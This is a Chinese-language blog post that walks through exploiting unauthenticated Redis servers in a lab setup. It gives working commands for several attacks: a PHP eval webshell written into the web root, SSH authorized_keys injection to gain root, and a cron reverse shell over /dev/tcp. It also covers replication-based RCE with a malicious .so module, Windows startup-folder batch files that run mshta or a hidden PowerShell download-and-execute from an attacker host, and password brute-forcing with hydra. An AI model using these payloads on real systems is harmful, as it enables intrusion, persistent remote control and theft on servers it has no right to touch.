美文网首页Web攻防
redis漏洞利用小结

redis漏洞利用小结

作者: book4yi | 来源:发表于2020-07-28 20:10 被阅读0次

    环境搭建:

    1、下载redis并进行编译:

    wget http://download.redis.io/releases/redis-6.0.3.tar.gz
    tar xzf redis-6.0.3.tar.gz
    cd redis-6.0.3
    make
    

    2、拷贝二进制文件:

    # 将redis-server和redis-cli拷⻉到/usr/bin⽬录下(这样启动 redis-server 和 redis-cli 就不⽤每次都进⼊安装⽬录了)
    cd src/
    cp redis-server /usr/bin 
    cp redis-cli /usr/bin
    
    cd ..
    cp redis.conf /etc/
    

    3、修改redis.conf, 开启外部访问,关闭保护模式

    4、启动redis服务

    # 使⽤/etc/⽬录下的redis.conf⽂件中的配置启动redis服务
    redis-server  /etc/redis.conf
    

    利用redis写webshell(Linux/Windows):

    利用条件:

    1、redis未授权,在攻击机能⽤redis clinet连接
    2、开启web服务,并且知道⽹站路径,还需要具有⽂件读写增删改查权限

    config set dir /var/www/html/
    config set dbfilename redis.php
    set webshell "<?php @eval($_POST[pass]); ?>"
    save
    

    成功连接!

    利用公私钥认证获取root权限(Linux):

    1、ssh免密码配置

    ssh-keygen -t rsa -P ''     #生成公钥/私钥对                           
    cd /root/.ssh/
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt  #将公钥写入 foo.txt 文件
    

    2、连接Redis写入文件

    cat foo.txt | ./redis-cli -h 192.168.107.129  -x set crackit
    ./redis-cli -h 192.168.107.129
    config set dir /root/.ssh/
    config set dbfilename "authorized_keys"
    save
    

    利用私钥成功登录redis服务器!

    ssh 192.168.107.129
    

    利用contrab计划任务反弹shell(Linux):

    使用限制:centos
    原理:在权限足够的情况下,利用redis写入文件到计划任务目录下执行。

    目标机器进行监听:

    nc -lvvp 8000
    

    利用redis生成计划任务配置文件:

    config set dir /var/spool/cron
    config set dbfilename root
    flushall            #删除所有数据库的所有 key,谨慎使用
    set b4yi "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8000 0>&1\n\n"
    save
    

    注意:使用kali做为目标主机进行测试时,需要写入计划任务到/var/spool/cron/crontabs目录下。
    发现当目标主机为centos时可以反弹shell成功,使用了ubuntu和debian均无法成功反弹shell。
    原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划。

    kali环境,无法测试~

    主从复制RCE(Linux):

    在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

    通过脚本实现一键自动化getshell:
    适用版本:4.x/5.x(使用范围redis 4.x-5.0.5)
    1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
    cd RedisModules-ExecuteCommand/
    make
    

    2、攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

    git clone https://github.com/Ridter/redis-rce.git
    cd redis-rce/
    cp ../RedisModules-ExecuteCommand/src/module.so ./
    pip install -r requirements.txt 
    python redis-rce.py -r <目标地址>  -L <本机地址> -f module.so
    

    执行成功后可以选择生成一个交互的shell,或者重新反弹一个shell。

    开机自启目录(Windows):

    原理:写入批处理文件到Administrator用户的开机启动目录
    1、利用脚本:https://github.com/starnightcyber/CVE-2017-11882/blob/master/PS_shell.rb

    下载脚本放到/usr/share/metasploit-framework/modules/exploits/windows/目录下

    打开msf,执行命令:

    reload_all
    use exploit/windows/PS_shell
    
    msf5 exploit(windows/PS_shell) > set lport 7777
    lport => 7777
    msf5 exploit(windows/PS_shell) > set uripath 666
    uripath => 666
    msf5 exploit(windows/PS_shell) > run
    [*] Exploit running as background job 3.
    [*] Exploit completed, but no session was created.
    
    [*] Started reverse TCP handler on 192.168.107.129:7777 
    [*] Using URL: http://0.0.0.0:8080/666
    [*] Local IP: http://192.168.107.129:8080/666
    [*] Server started.
    [*] Place the following DDE in an MS document:
    mshta.exe "http://192.168.107.129:8080/666"
    

    之后通过redis未授权写入文件
    执行命令最简单的就是用bat文件了。我们只需要写入一个eval.bat来执行

    mshta.exe "http://192.168.107.129:8080/666"
    

    等待目标重启,我们就可以得到shell了。

    在bat中每一行当做一条命令执行。这里我们需要换行,换行也要注意的是。这里要用到\r\n,而且一个\r\n是不行的。这里我们用两个或多个\r\n来进行换行。

    利用过程:

    config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
    config set dbfilename 1.bat
    set ok "\r\n\r\nmshta.exe http://192.168.107.129:8080/666\r\n\r\n"
    save
    

    靶机 windows 2012 R2 重启后得到shell:

    2、使用powershell远程下载执行我们的程序:
    利用CS生成:

    利用过程:

    config set dir "C:/Users/tester/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
    config set dbfilename 2.bat
    set no "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.107.129:80/123'))\"\r\n\r\n"
    save
    

    成功生成bat文件,查看其内容:

    靶机重启后,CS成功上线:

    redis密码爆破:

    1、msf自带爆破模块:auxiliary/scanner/redis/redis_login
    2、hydra:hydra -P redis_pass.txt redis://192.168.0.100

    写到最后

    早就想把redis漏洞利用方式给复现一遍了

    Yes,oK!

    参考如下:


    redis漏洞利用
    Redis漏洞利用
    常见未授权访问漏洞总结
    Redis在Windows环境下Getshell
    Redis未授权访问在windows下的利用

    相关文章

      网友评论

        本文标题:redis漏洞利用小结

        本文链接:https://www.haomeiwen.com/subject/wvgwlktx.html